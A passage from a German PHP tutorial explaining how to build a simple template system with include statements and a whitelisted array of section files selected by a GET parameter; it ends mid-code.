Im Internet gibt es genügend Templatesystem für PHP. Alle haben ihre Vor- Und Nachteile, bieten Features an die andere nicht haben, haben Sicherheitsaspekte die andere nicht implementiert haben und verwenden eine Syntax die die anderen nicht benutzen. In den meisten Fällen wird jedoch vergessen das PHP selbst bereits eine Templateengine ist. PHP wurde so entwickelt dass es zwischen HTML-Code verwendet werden kann, daher auch die PHP Start- und Endtags <?php und ?>. Deswegen verwenden wir hier PHP als Templatesystem indem wir unseren Programmcode entsprechend strukturieren und include-Anweisungen verwenden.

3. Eigenes Templatesystem schreiben

Mit include-Anweisungen können wir andere PHP-Dateien in das aktuelle Skript laden und ausführen. Diese Technik verwenden wir für unsere Templates. Die Template-Dateien laden wir dann mit so einer include-Anweisung. Daher können wir in den Template-Dateien PHP-Code verwenden um diverse Variablen ausgeben. Dies heißt aber auch dass wir keine User-Templates laden können bzw. sollten. Wenn wir nun ein System schreiben für ein großes Projekt und für die User eigene Templates anbieten so können sie zwar ganz normal die Variablen ausgeben, aber eben auch beliebigen PHP-Code wie z.B. shell_exec oder mail ausführen. Daher sollten nur die Webautoren Zugriff auf die Templates haben.

Unser Templatesystem wird von der Startdatei index.php verarbeitet. Wie bei allen Projekten wird das Error-Reporting hochgeschraubt und diverse Funktionen, Klassen und Variablen geladen.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'functions.php';
include 
'classes.php';
include 
'variables.php';
?>

Nun benutzen wir die GET-Variable section für ein Array-Include. Dabei speichern wir in dem Array $dateien alle mögliche Dateinamen die durch ein include geladen werden können. Der Index eines Arrayelements gibt an bei welchem Wert von $_GET['section'] die Datei geladen wird.

<?php
// zum Beispiel in der variables.php angelegt
$dateien = array();
$dateien['news'] = 'news.php';
$dateien['forum'] = 'forum.php';
$dateien['downloads'] = 'dl.php';
// ...
?>

Mit isset und file_exists wird nun überprüft ob die entsprechenden Variablen, Arrayelemente und include-Dateien existieren, die dann auch mit include geladen wird.

<?php
$ret 
1// speichert den rückgabewert von include, standardwert 1
if (isset($_GET['section'], $dateien[$_GET['section']])) {
    if (
file_exists('includes/'.$dateien[$_GET['section']])) {
        
$ret = include 'includes/'.$dateien[$_GET['section']]; 
    } else {
        
$ret "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'";
    }
} else {
    
// default bereich laden, news
    
$ret = include 'includes/'.$dateien['news'];
}
?>

Einmal sehen wir das hier eine Variable $ret verwendet wird. Sie enthält den Rückgabewert der include-Anweisung. Des Weiteren enthält es einige Abfragen ob bestimmte Arrayindizes oder Dateien existieren. Wenn dies nicht der Fall ist so wird der Standardbereich geladen, in diesem Fall ein Newsskript.

Für unsere Include-Dateien definieren wir nun wie der Rückgabewert aussehen muss. Im Normalfall soll die Include-Datei ein assoziatives Array zurückliefern. Das Element mit dem Index filename gibt dabei den Dateinamen vom Template an, was dieses Skript laden möchte. Das Element mit dem Index data ist ein Array und enthält die Daten die im Template verwendet werden können. Dort können dann z.B. die Newsbeiträge gespeichert werden (nur die Daten, keine HTML-Codes). Im Falle eines Fehlers kann die Include-Datei einen String zurückliefern. Dies wird dann als Fehlermeldung interpretiert und soll vom Templatesystem entsprechend ausgegeben werden. Und zum Schluss gibt es noch ein Fall dass die Include-Datei den Wert 1 zurückliefert. Bei so einem Wert wurde einfach vergessen ein Array oder ein String zurückzuliefern da im Skript keine return-Anweisung verwendet wurde. All diese Informationen schreiben wir am Besten mit einem Kommentar in das Skript.

<?php
$ret 
1// speichert den rückgabewert von include, standardwert 1
/*
 * Die Include-Datei muss eine return Anweisung enthalten mit folgenden
 * Werten:
 * - Bei normaler Ausführung
 *   Array('filename' => string, -- Dateiname vom Template
 *         'data' => Array())    -- Array mit Daten für das Template
 * - Bei einem Fehler
 *   string  -- Die Fehlermeldung die angezeigt werden soll.
 */
if (isset($_GET['section'], $dateien[$_GET['section']])) {
    
// ...
?>

Somit weiß man auch was eigentlich programmiert wurde und andere Entwickler können das System verstehen.

Nehmen wir an wir hätten nun solche Include-Dateien und müssen nun das richtige Template ausgeben. Dafür verwenden wir diverse If-Abfragen um den Inhalt der $ret Variable zu prüfen und die entsprechende Datei zu laden.

<?php
if (is_array($ret) and isset($ret['filename'], $ret['data']